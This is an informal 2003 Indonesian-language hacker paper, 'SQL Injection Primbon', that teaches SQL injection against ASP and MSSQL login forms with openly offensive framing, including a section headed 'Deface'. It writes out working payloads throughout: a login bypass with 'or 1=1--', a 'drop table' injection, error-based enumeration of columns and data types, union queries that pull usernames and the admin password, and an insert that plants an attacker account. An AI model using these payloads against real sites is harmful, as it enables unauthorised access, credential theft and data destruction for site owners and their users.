$Id: bosen-doc.2,v1 10/06/2003 bosen Exp $ 1ndonesian Security Team (1st) Bosen Paper #2 SQL Injection Primbon 10/06/2003 [1st] SQL Injection Primbon - The TAO Of SQL Injection _______________________________________________________________________________ # $Id: SQL_injection-primbon.txt,v1 2003/06/08 21:08:15 bosen Exp $ # doc-type : papers SQL Injection Primbon - The TAO Of SQL Injection ================================================ Bosen - 08/06/2003 [Preface] Dari sekian banyak DB format, kenapa hanya MSSQL yang vuln? Kenapa 'ga DB yang lain? Sebenernya MSSQL 'ga bisa di inject begitu saja. Gue dah pernah pake Perl/win32 + ODBC + MSSQL, dan ga tembus. Lalu kenapa bisa di inject? Hmm karena scripting language nya? Lalu kenapa ASP + MSACCESS or dengan MySQL 'ga bisa di Inject? Hmmm karena DB nya? Tapi tunggu, PHP + MySQL juga bisa di inject! Bingung kan ? Silakan jawab sendiri :P Hehe tapi gue cum mo bahas MSSQL + ASP kok. Ok. Sebenernya SQL injection terjadi ketika attacker bisa meng insert beberapa SQL statement ke 'query' dengan cara manipulasi data input ke applikasi tsb. Hmm biasanya SQL statement spt. ini: select id, name, no_telp, short_time_price, long_time_price from bispak (bwakakakakakakakakaka) nah dari SQL diatas menghasilkan 'id', 'name', 'no_telp', 'short_time_price' dan 'long_time_price' dari table 'bispak' nah 'result set' biasanya lebih specifik, spt. select id, name, no_telp, short_time_price from bispak where name = 'ipunk' and short_time_price < 100000 (buwakakakakakakakakaakkaakakakakakak) udah jangan ngiri kalau ipunk jadi terkenal :P sekarang kita perhatikan terhadap 'ipunk' ini .. (gondrong yak ? sst dia bon jopi :P) si 'ipunk' itu pake quote! ini kunci na :P coba kalau di query name: ipunk'jopi maka query nya select id, name, no_telp, short_time_price from bispak where name = 'ipunk'jopi' and short_time_price < 100000 nah kalau di asp pas di browse ada error yang mirip2 gini: Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near 'jopi' SQL atau "Structured Query Language" seharusnya tidak menyentuh system calls. Tetapi tidak dengan MSSQL. Nah, ga tau kenapa karakter single quote 'breaks out' dari delimiter nya SQL (bad bad ASP :P) Jadi kalau misal ada inputan Name: ipunk';drop table bispak-- maka habis lah bisnis ipunk :P huehueheuheuheuheuehuehue oh iya '--' merukapan mark nya MSSQL, jadi perintah selanjutnya ga di execute. Jadi ini key na, kalau mo inject harus tau dulu cara marknya gimana, atau setidak2nya bisa manipulasi query sehingga yg next nya tetep bisa di execute. Hehe masih bingung? Gini2, bayangin ada form yang minya input login + password. Nama field nya 'login' dan 'pass'. dan SQL nya di asp: var sql = select * from users where username='"+login+"' and password='"+pass"'"; coba kalau ada inputan: login: ';drop table users-- pass: chfn (*wink* negative) pasti ke drop tuh table users. nah kalau inputan sbb. login: ' or 1=1-- pass: tuing gimana? coba kita lihat sql nya: var sql = select * from users where username='"+login+"' and password='"+pass"'"; SQL nya di inject jadi: select * from users where username='' or 1=1-- and password='tuing' (inget semua sql setelah -- di mark :P) sql nya jadi select (semua) dari users yang username nya '' (kosong) atau 1=1 (true) hehehehe logika 'atau' ini yg bikin SQL nya mumed :P maka ke query lah select * nya :P kalau ini login.asp langsung bisa login dah tanpa input apa2 :P Bosen, gimana kita tau tablenya ? Maha Benar Bosen Dengan Segala TulisanNya! [Deface] Untuk meng inject, attacker harus tau struktur tablenya. Jadi dia bisa inject SQL dengan tepat. Untung aja ASP dan IIS berbaik hati. Dia menyediakan info yang sangat2 menolong. Tehnik ini di kenal dengan 'debugging web application from its error code'. SQL Injection untuk mendebug nya adalah having 1=1 login: ' having 1=1-- SQL nya : select * from users where username = '' having 1=1-- Error nya: Microsoft bla bla bla [Microsoft] [ODBC SQL Server Driver][SQL Server] Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /proces_login.asp, line 20 maksudnya apa seh ? gini, dari query diatas kalau ada select dan ada having semua kolom harus di group karena record2 tidak mungkin sama. Si SQL bingung querynya. Nah dari situ baru tau kalau di table 'users' ada kolom 'id' :P~ Lalu lalu ... gimana cari tau semua kolom ? Ya gampang lah .. yang udah ketauan di groub aja .. login: ' group by users.id having 1=1-- errornya Column 'users.username' is invalid blabla bla nah itu tandanya ada kolom username yang belum di group by. Hehe kita tau juga ternyata ada kolum username :P huehue begitulah seterusnya ..... Tapi ..... Setiap kolum itu kan beda2 tipe datanya, ada yg integer, varchar, etc. Gimana kita taunya? Gampangggggg! berhubung IIS+ASP ngasih tau kita mulu kalau ada error, ya kita bikin error aja SQL nya! Tar juga dikasih tau :P Gini caranya: login: ' union select sum(username) from users-- SQL nya: select * from users where username = '' union select sum(username) from users-- UNION ini sakti banget :P maksudnya ini dia bisa break select list dan menjadikan 'child' select list. jadi kek gini [ada select] UNION [select] yah nama aja dah UNION (gabungan) cuma berhubung select sum(username) kita bisa dapet error. Sum() itu hanya untuk interger, money, etc selain varchar or char or string lah. Lagi2 IIS+ASP ngasih error: The sum or average aggregate operation cannot take a varchar data type as an argument hehehe tuh tuh dia ngasih tau kalau username itu bukan integer melainkan varchar :P Sekarang gimana caranya kita tau isi datanya? nah ini banyak cara & tehnik. login: ' union select min(username),1,1,1 from users where username > 'a'-- Error: Syntax error converting the varchar value 'admin' to a colum of data type init. Hihihi ada username 'admin' :P nah kalau mau di iterate (looping) lakukan kek gitu terus2an ' union select min(username),1,1,1 from users where username > 'admin'-- begitu deh seterusnya. Lalu gimana kita tau passwordnya ? ' union select password,1,1,1 from users where username='admin'-- dah tuh dapet di gituin atau kalau mau lebih asik lagi insert aja user sendiri :P ' insert into users values (0,'bosen','gembel',1)-- asik2 :) hehe si gembul dah seneng aja :P padahal ada yang lebih asik kalau kita creativ :P Di tunggu saja! Rgds, 1ndonesian Security Team Bosen ====================== Original document can be fount at http://bosen.net/releases/?id=35